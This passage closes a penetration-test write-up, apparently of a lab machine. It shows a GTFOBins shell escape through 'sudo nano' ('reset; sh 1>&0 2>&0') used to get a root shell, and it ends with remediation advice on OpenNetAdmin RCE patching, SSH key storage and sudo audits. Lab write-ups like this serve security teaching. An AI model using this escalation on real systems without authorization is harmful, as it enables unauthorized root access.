We also see from GTFObins that nano can be used in a shell escape, following the below general format:
sudo nano
^R^X
reset; sh 1>&0 2>&0
Running sudo nano /opt/priv
and then entering Ctrl+R then Ctrl+X brings us to a command execution screen in nano.
Running reset; sh 1>&0 2>&0
. in the command bar and selecting enter then spawns a root shell, as evidenced below.
Conclusion
Recommended Remediations
-
Recommended to disallow guest authentication in the openadmin application. Recommeneded to set the application behind a password login, if possible.
-
Recommended to patch the OpenNetAdmin application to address the Remote Code Execution (RCE) vulnerability present in the version running on the target which was exploited during the test.
-
It’s strongly advised to not store sensitive information such as private SSH keys on a webserver. If a user has local access, they may be able to view the information even where not intended, such as when port forwarding was used during the engagement.
-
Perform regular account privilege audits - consider if Joanna needs sudo access to nanno to edit the /opt/priv file - consider instead to modify the permissions of the opt priv file to allow Joanna to edit the file without giving sudo permissions to the nano editor application which could potentially abused to escalate privileges.
All for now; until next time.
~@initinfosec
Let me know what you think of this article on twitter @initinfosec or leave a comment below!